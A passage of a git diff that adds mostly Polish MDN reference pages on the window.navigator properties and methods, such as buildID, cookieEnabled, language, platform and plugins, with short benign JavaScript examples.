{ + // prawdopodobnie jest to piąta wersja przeglądarki + } +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Własność window.navigator.userAgent również zawiera numer wersji przeglądarki (przykładowo: "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1"), lecz powinniśmy mieć świadomość jak łatwo jest zmienić ciąg user-agent i "naśladować" inne przeglądarki, platformy lub pośredników użytkownika oraz jak bezmyślni są sami producenci przeglądarek w ustawianiu tej wartości. Własności window.navigator.appVersion i window.navigator.userAgent są dość często stosowane w kodzie "szpiegującym przeglądarki": skryptach, które próbują dowiedzieć się jakiej używasz przeglądarki i wyświetlić stosowną do niej stronę.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.navigator.appVersion", "ja": "ja/DOM/window.navigator.appVersion" } ) }}</p> diff --git a/files/pl/web/api/navigator/buildid/index.html b/files/pl/web/api/navigator/buildid/index.html new file mode 100644 index 0000000000..2f35af6f92 --- /dev/null +++ b/files/pl/web/api/navigator/buildid/index.html @@ -0,0 +1,41 @@ +--- +title: Navigator.buildID +slug: Web/API/Navigator/buildID +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Navigator/buildID +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca identyfikator kompilacji przeglądarki.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>buildID</i> = +<i>navigator</i>.buildID; +</pre> + +<p><code>buildID</code> jest identyfikatorem kompilacji aplikacji, zwracanym jako łańcuch znakówi. ID kompilacji jest w formie <tt>YYYYMMDDHH</tt> (gdzie: Y - rok, M - miesiąc, D - dzień, H - godzina).</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">dump(window.navigator.buildID); +// wyświetla w konsoli "2006090803" +</pre> + +<h3 id="Uwaga" name="Uwaga">Uwaga</h3> + +<p>Dostępne w <a href="pl/Firefox_2">Firefoksie 2</a> (<a href="pl/Gecko">Gecko</a> 1.8.1) i późniejszych. Zaimplementowane w {{ Bug(345993) }}.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>Nie jest częścią żadnego publicznego standardu.</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.buildID", "ja": "ja/DOM/window.navigator.buildID" } ) }}</p> diff --git a/files/pl/web/api/navigator/cookieenabled/index.html b/files/pl/web/api/navigator/cookieenabled/index.html new file mode 100644 index 0000000000..43c12ee2de --- /dev/null +++ b/files/pl/web/api/navigator/cookieenabled/index.html @@ -0,0 +1,45 @@ +--- +title: Navigator.cookieEnabled +slug: Web/API/Navigator/cookieEnabled +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Navigator/cookieEnabled +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Posumowanie" name="Posumowanie">Posumowanie</h3> + +<p>Zwraca wartość logiczną tylko do odczytu, wskazującą czy obsługa ciasteczek jest włączona, czy nie.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">var cookieEnabled = navigator.cookieEnabled; +</pre> + +<ul> + <li><code>cookieEnabled</code> jest wartością logiczną <code>true</code> lub <code>false</code>.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">if (!navigator.cookieEnabled) { + // poinformuj użytkownika, że przy włączonych ciasteczkach + // strona jest bardziej użyteczna +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>W związku z {{ Bug(230350) }}, <code>cookieEnabled</code> może zwracać błędny wynik w aplikacjach opartych o Gecko.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.cookieEnabled", "ja": "ja/DOM/window.navigator.cookieEnabled" } ) }}</p> diff --git a/files/pl/web/api/navigator/index.html b/files/pl/web/api/navigator/index.html new file mode 100644 index 0000000000..6ef2055b7a --- /dev/null +++ b/files/pl/web/api/navigator/index.html @@ -0,0 +1,119 @@ +--- +title: Navigator +slug: Web/API/Navigator +translation_of: Web/API/Navigator +--- +<p>{{ apiref() }}</p> + +<p>The <code><strong>Navigator</strong></code> interface represents the state and the identity of the user agent. It allows scripts to query it and to register themselves to carry on some activities.</p> + +<p>A <code>Navigator</code> object can be retrieved using the read-only {{domxref("Window.navigator")}} property.</p> + +<h2 id="Properties">Properties</h2> + +<p><em>Doesn't inherit any property, but implements those defined in {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorGeolocation")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}, and {{domxref("NetworkInformation")}}.</em></p> + +<h3 id="Standard">Standard</h3> + +<dl> + <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns the internal "code" name of the current browser. Do not rely on this property to return the correct value.</dd> + <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("DOMString")}} with the official name of the browser. Do not rely on this property to return the correct value.</dd> + <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns the version of the browser as a {{domxref("DOMString")}}. Do not rely on this property to return the correct value.</dd> + <dt>{{domxref("Navigator.battery")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("BatteryManager")}} object you can use to get information about the battery charging status.</dd> + <dt>{{domxref("NetworkInformation.connection")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Provides a {{domxref("Connection")}} with information about the network connection of a device.</dd> + <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.</dd> + <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.</dd> + <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd> + <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt> + <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd> + <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd> + <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd> + <dt>{{domxref("Navigator.oscpu")}}</dt> + <dd>Returns a string that represents the current operating system.</dd> + <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a string representing the platform of the browser. Do not rely on this function to return a significant value.</dd> + <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd> + <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}</dt> + <dd>Always returns <code>'Gecko'</code>, on any browser. This property is kept only for compatibility purpose.</dd> + <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt> + <dd>Returns the user agent string for the current browser.</dd> + <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd> +</dl> + +<h3 id="Methods" name="Methods">Non-standard</h3> + +<dl> + <dt>{{domxref("window.navigator.buildID", "navigator.buildID")}} {{non-standard_inline}}</dt> + <dd>Returns the build identifier of the browser (e.g., "2006090803").</dd> + <dt>{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}</dt> + <dd>Returns a boolean indicating whether cookies are enabled in the browser or not.</dd> + <dt>{{domxref("navigator.doNotTrack")}} {{non-standard_inline}}</dt> + <dd>Reports the value of the user's do-not-track preference. When this value is "yes", your web site or application should not track the user.</dd> + <dt>{{domxref("navigator.id")}} {{non-standard_inline}}</dt> + <dd>Returns the {{domxref("window.navigator.id", "id")}} object which you can use to add support for <a href="/en-US/docs/BrowserID" title="BrowserID">BrowserID</a> to your web site.</dd> + <dt>{{domxref("window.navigator.mozApps", "navigator.mozApps")}} {{non-standard_inline}}</dt> + <dd>Returns an {{domxref("window.navigator.mozApps", "Apps")}} object you can use to install, manage, and control <a href="/Open_Web_Apps" title="Open Web apps">Open Web apps</a>.</dd> + <dt>{{domxref("Navigator.mozAudioChannelManager", "navigator.mozAudioChannelManager")}} {{non-standard_inline}}</dt> + <dd>The <code>navigator.mozAudioChannelManager</code> object provides access to the {{domxref("mozAudioChannelManager")}} interface, which is used to manage your Firefox OS device's audio channels, including setting what channel's volume to affect when the volume buttons are pressed inside a particular app.</dd> + <dt>{{domxref("window.navigator.mozNotification","navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}<br> + {{domxref("window.navigator.webkitNotification","navigator.webkitNotification")}}</dt> + <dd>Returns a {{domxref("navigator.mozNotification", "notification")}} object you can use to deliver notifications to the user from your web application.</dd> + <dt>{{domxref("navigator.mozSocial")}} {{non-standard_inline}}</dt> + <dd>The Object, returned by the <code>navigator.mozSocial</code> property, is available within the social media provider's panel to provide functionality it may need.</dd> + <dt>{{domxref("window.navigator.productSub", "navigator.productSub")}} {{non-standard_inline}}</dt> + <dd>Returns the build number of the current browser (e.g., "20060909").</dd> + <dt>{{domxref("window.navigator.securitypolicy", "navigator.securitypolicy")}} {{non-standard_inline}}</dt> + <dd>Returns an empty string. In Netscape 4.7x, returns "US & CA domestic policy" or "Export policy".</dd> + <dt>{{domxref("window.navigator.standalone", "navigator.standalone")}} {{non-standard_inline}}</dt> + <dd>Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.</dd> + <dt>{{domxref("window.navigator.vendor", "navigator.vendor")}} {{non-standard_inline}}</dt> + <dd>Returns the vendor name of the current browser (e.g., "Netscape6").</dd> + <dt>{{domxref("window.navigator.vendorSub", "navigator.vendorSub")}} {{non-standard_inline}}</dt> + <dd>Returns the vendor version number (e.g. "6.1").</dd> + <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API"><code>navigator.webkitPointer</code></a> {{non-standard_inline}}</dt> + <dd>Returns a PointerLock object for the <a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API">Mouse Lock API</a>.</dd> +</dl> + +<h2 id="Methods" name="Methods">Methods</h2> + +<p><em>Doesn't inherit any method, but implements those defined in {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, <em>{{domxref("NavigatorUserMedia")}}, </em>and {{domxref("NavigatorStorageUtils")}}.</em></p> + +<h3 id="Standard_2">Standard</h3> + +<dl> + <dt>{{domxref("NavigatorUserMedia.getUserMedia()")}}</dt> + <dd>After having prompted the user for permission, returns the audio or video stream associated to a camera or microphone on the local computer.</dd> + <dt>{{domxref("window.navigator.registerContentHandler", "navigator.registerContentHandler")}}</dt> + <dd>Allows web sites to register themselves as a possible handler for a given MIME type.</dd> + <dt>{{domxref("navigator.registerProtocolHandler", "navigator.registerProtocolHandler")}}</dt> + <dd>Allows web sites to register themselves as a possible handler for a given protocol.</dd> + <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt> + <dd>Returns <code>false</code>. JavaScript taint/untaint functions removed in JavaScript 1.2.</dd> + <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt> + <dd>Causes vibration on devices with support for it. Does nothing if vibration support isn't available.</dd> +</dl> + +<h3 id="Specification" name="Specification">Non standard</h3> + +<dl> + <dt>{{domxref("window.navigator.mozIsLocallyAvailable", "navigator.mozIsLocallyAvailable")}} {{non-standard_inline}}</dt> + <dd>Lets code check to see if the document at a given URI is available without using the network.</dd> + <dt>{{domxref("window.navigator.mozPay", "navigator.mozPay")}} {{non-standard_inline}}</dt> + <dd>Allows in-app payment.</dd> + <dt>{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}</dt> + <dd>Sets a user preference. This method is <a class="external" href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">only available to privileged code</a> and is obsolete; you should use the XPCOM <a href="/en-US/docs/Preferences_API" title="Preferences_API">Preferences API</a> instead.</dd> + <dt>{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}</dt> + <dd>Request a wake lock for a resource. A wake lock prevents a specific part of a device from being turned off automatically.</dd> +</dl> diff --git a/files/pl/web/api/navigator/javaenabled/index.html b/files/pl/web/api/navigator/javaenabled/index.html new file mode 100644 index 0000000000..291d27782e --- /dev/null +++ b/files/pl/web/api/navigator/javaenabled/index.html @@ -0,0 +1,39 @@ +--- +title: NavigatorPlugins.javaEnabled +slug: Web/API/Navigator/javaEnabled +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorPlugins/javaEnabled +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Ta metoda wskazuje czy w aktualnej przeglądarce została włączona obsługa Javy.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>result</i> = window.navigator.javaEnabled() +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">if (window.navigator.javaEnabled()) { + // przeglądarka posiada Javę +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Zwracana przez tę metodę wartość wskazuje czy Java jest włączona czy też nie - a nie czy przeglądarka w ogóle obsługuje Javę.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.javaEnabled", "ja": "ja/DOM/window.navigator.javaEnabled" } ) }}</p> diff --git a/files/pl/web/api/navigator/language/index.html b/files/pl/web/api/navigator/language/index.html new file mode 100644 index 0000000000..1dcc4daabc --- /dev/null +++ b/files/pl/web/api/navigator/language/index.html @@ -0,0 +1,45 @@ +--- +title: NavigatorLanguage.language +slug: Web/API/Navigator/language +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorLanguage/language +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca łańcuch znaków reprezentujący wersję językową przeglądarki.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>lang</i> = window.navigator.language +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<ul> + <li><code>lang</code> jest dwu znakowym łańcuchem znaków (na przykład "en" lub "ja") reprezentującym wersję języka.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>if ( window.navigator.language != "pl" ) { + doLangSelect(window.navigator.language); +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Ta własność pojawia się również jako część łańcucha znaków <a href="pl/DOM/window.navigator.userAgent">navigator.userAgent</a>.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.language", "ja": "ja/DOM/window.navigator.language" } ) }}</p> diff --git a/files/pl/web/api/navigator/mimetypes/index.html b/files/pl/web/api/navigator/mimetypes/index.html new file mode 100644 index 0000000000..371e75eff2 --- /dev/null +++ b/files/pl/web/api/navigator/mimetypes/index.html @@ -0,0 +1,40 @@ +--- +title: NavigatorPlugins.mimeTypes +slug: Web/API/Navigator/mimeTypes +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorPlugins/mimeTypes +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca obiekt <code><a class="external" href="http://www.xulplanet.com/references/objref/MimeTypeArray.html">MimeTypeArray</a></code>, który zawiera listę obiektów <code><a class="external" href="http://www.xulplanet.com/references/objref/MimeType.html">MimeType</a></code> reprezentujących typy MIME rozpoznawane przez przeglądarkę.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>mimeTypes</i> = navigator.mimeTypes; +</pre> + +<p><code>mimeTypes</code> jest obiektem <code><a class="external" href="http://www.xulplanet.com/references/objref/MimeTypeArray.html">MimeTypeArray</a></code>, który posiada zarówno własność <code>length</code> jak i metody <code>item(index)</code> oraz <code>namedItem(name)</code>.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre> alert(window.navigator.mimeTypes.item(0).description); // wyświetli ostrzeżenie "Mozilla Default Plug-in" +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Wartością własności <code>type</code> w zerowym elemencie (obiekt <code>MimeType</code> "Mozilla Default Plug-in") jest <code>*</code> zamiast typowego formatu MIME jak np. <code>"image/x-macpaint"</code></p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.mimeTypes", "ja": "ja/DOM/window.navigator.mimeTypes" } ) }}</p> diff --git a/files/pl/web/api/navigator/mozpermissionsettings/index.html b/files/pl/web/api/navigator/mozpermissionsettings/index.html new file mode 100644 index 0000000000..df0966e04e --- /dev/null +++ b/files/pl/web/api/navigator/mozpermissionsettings/index.html @@ -0,0 +1,33 @@ +--- +title: Navigator.mozPermissionSettings +slug: Web/API/Navigator/mozPermissionSettings +translation_of: Archive/B2G_OS/API/Navigator/mozPermissionSettings +--- +<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p> + +<p>{{ B2GOnlyHeader2('certified') }}</p> + +<h2 id="Summary">Summary</h2> + +<p>Returns a {{ domxref("PermissionSettings") }} object you can use to get and set permissions of apps on the Firefox OS platform.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="eval">var permissions = window.navigator.mozPermissionSettings; +</pre> + +<h2 id="Value">Value</h2> + +<p><code>navigator.mozPermissionSettings</code> is a {{domxref("PermissionSettings")}} object.</p> + +<h2 id="Specification">Specification</h2> + +<p>Not part of any specification.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{ domxref("PermissionSettings") }}</li> + <li>The <a href="/en-US/docs/Web/API/Permissions_API_(Firefox_OS)">Permissions API (Firefox OS)</a></li> + <li><a href="/en-US/Apps/Build/App_permissions">App permissions</a></li> +</ul> diff --git a/files/pl/web/api/navigator/online/index.html b/files/pl/web/api/navigator/online/index.html new file mode 100644 index 0000000000..20bbd73fb0 --- /dev/null +++ b/files/pl/web/api/navigator/online/index.html @@ -0,0 +1,47 @@ +--- +title: NavigatorOnLine.onLine +slug: Web/API/Navigator/onLine +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorOnLine/onLine +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca wartość logiczną wskazującą czy przeglądarka jest w trybie online, czy nie.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>online</i> = +<i>window</i>.navigator.onLine; +</pre> + +<ul> + <li><code>online</code> przyjmuje wartość logiczną <code>true</code> (prawda) lub <code>false</code> (fałsz).</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">alert(navigator.onLine ? "Jesteś online" : "Jesteś offline"); +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Zobacz <a href="pl/Zdarzenia_Online%2f%2fOffline">Zdarzenia Online/Offline</a>, aby uzyskać bardziej szczegółowy opis tej własności, jak również nowych funkcji związanych z trybem offline, wprowadzonych w Firefoksie 3.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<p>Opisana w <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#navigator.online">szkicu roboczym HTML 5</a></p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.onLine", "fr": "fr/DOM/window.navigator.onLine", "ja": "ja/DOM/window.navigator.onLine" } ) }}</p> diff --git a/files/pl/web/api/navigator/oscpu/index.html b/files/pl/web/api/navigator/oscpu/index.html new file mode 100644 index 0000000000..69a9f9deb4 --- /dev/null +++ b/files/pl/web/api/navigator/oscpu/index.html @@ -0,0 +1,41 @@ +--- +title: Navigator.oscpu +slug: Web/API/Navigator/oscpu +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Navigator/oscpu +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca łańcuch znaków reprezentujący bieżący system operacyjny.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>oscpuInfo</i> = window.navigator.oscpu +</pre> + +<ul> + <li><code>oscpu</code> jest łańcuchem znaków przyjmującym poniższą formę.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>function osInfo() { +alert(window.navigator.oscpu); +} +// zwraca: Windows NT 6.0 +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.oscpu", "ja": "ja/DOM/window.navigator.oscpu" } ) }}</p> diff --git a/files/pl/web/api/navigator/platform/index.html b/files/pl/web/api/navigator/platform/index.html new file mode 100644 index 0000000000..3a73ee3c2e --- /dev/null +++ b/files/pl/web/api/navigator/platform/index.html @@ -0,0 +1,28 @@ +--- +title: window.navigator.platform +slug: Web/API/Navigator/platform +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/platform +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca łańcuch znaków reprezentujący platformę przeglądarki.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>platform</i> =<i>navigator</i>.platform +</pre> +<p><code>platform</code> jest łańcuchem znaków z jedną z następujących wartości: "Win32", "Linux i686", "MacPPC", "MacIntel" lub inną.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">alert(navigator.platform); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Jeśli Twój kod nie jest uprzywilejowany (chrome lub przynajmniej kod z uprawnieniem UniversalBrowserRead), może on otrzymać wartość opcji <tt>general.platform.override</tt> zamiast prawdziwej platformy.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.navigator.platform", "ja": "ja/DOM/window.navigator.platform" } ) }}</p> diff --git a/files/pl/web/api/navigator/plugins/index.html b/files/pl/web/api/navigator/plugins/index.html new file mode 100644 index 0000000000..c60d9f6614 --- /dev/null +++ b/files/pl/web/api/navigator/plugins/index.html @@ -0,0 +1,58 @@ +--- +title: NavigatorPlugins.plugins +slug: Web/API/Navigator/plugins +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorPlugins/plugins +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca obiekt <code><a class="external" href="https://developer.mozilla.org/pl/docs/Web/API/PluginArray">PluginArray</a></code> będący listą wszystkich wtyczek zainstalowanych w aplikacji.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>plugins</em> = navigator.plugins; +</pre> + +<p><code>plugins</code> jest tabelą <code>PluginArray</code> zawierającą obiekty <code><a class="external" href="https://developer.mozilla.org/pl/docs/Web/API/Plugin">Plugin</a></code> reprezentujące zainstalowane wtyczki.</p> + +<p>Zwrócona wartość nie jest jest tablicą JavaScript, ale posiada własność <code>length</code> i obsługuje dostęp do poszczególnych elementów za pomocą notacji nawiasowej (<code>plugins{{ mediawiki.external(2) }}</code>) jak również poprzez metody <code>item(<em>index</em> )</code> i <code>namedItem(<em>"name"</em> )</code>.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<p>Poniższy przykład wyświetla wewnątrz zaawansowanego dokumentu informacje o zainstalowanych wtyczkach. Zauważ własności dostępne w obiekcie Plugin: name, filename i description.</p> + +<pre><script type="text/javascript"> + var L = navigator.plugins.length; + document.write(L.toString().bold() + " Plugin(s)".bold()); + document.write("<br>"); + document.write("Nazwa wtyczki | Nazwa pliku | Opis".bold()); + document.write("<br>"); + for(var i=0; i<L; i++) { + document.write(navigator.plugins[i].name); + document.write(" | "); + document.write(navigator.plugins[i].filename); + document.write(" | "); + document.write(navigator.plugins[i].description); + document.write("<br>"); + } +</script> +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Obiekt <code><a class="external" href="https://developer.mozilla.org/pl/docs/Web/API/Plugin">Plugin</a></code> wyświetla skromny interfejs w celu uzyskania informacji o różnych wtyczkach zainstalowanych w przeglądarce. Lista wtyczek jest również dostępna poprzez wprowadzenie <kbd>about:plugins</kbd> w pasku adresu.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.navigator.plugins", "ja": "ja/DOM/window.navigator.plugins" } ) }}</p> diff --git a/files/pl/web/api/navigator/product/index.html b/files/pl/web/api/navigator/product/index.html new file mode 100644 index 0000000000..50d34a4a66 --- /dev/null +++ b/files/pl/web/api/navigator/product/index.html @@ -0,0 +1,38 @@ +--- +title: window.navigator.product +slug: Web/API/Navigator/product +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/product +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność ta zwraca nazwę produktu bieżącej przeglądarki.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>productName</i> = window.navigator.product +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>productName</code> jest łańcuchem znaków.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><script> +function prod() { + dt = document.getElementById("d"); + dt.innerHTML = window.navigator.product; +} +</script> +<button onclick="prod();">produkt</button> +<div id="d"> </div> +// zwraca "Gecko" +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Produkt jest tą częścią pełnego łańcucha identyfikatora przeglądarki, która następuje bezpośrednio po platformie. Na przykład, w identyfikatorze przeglądarki dla Netscape 6.1 produktem jest "Gecko", a pełny ciąg identyfikatora przeglądarki jest następujący: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.navigator.product", "ja": "ja/DOM/window.navigator.product" } ) }}</p> diff --git a/files/pl/web/api/navigator/productsub/index.html b/files/pl/web/api/navigator/productsub/index.html new file mode 100644 index 0000000000..e5e580cbe9 --- /dev/null +++ b/files/pl/web/api/navigator/productsub/index.html @@ -0,0 +1,52 @@ +--- +title: Navigator.productSub +slug: Web/API/Navigator/productSub +tags: + - DOM + - Dokumentacja_Gecko_DOM + - 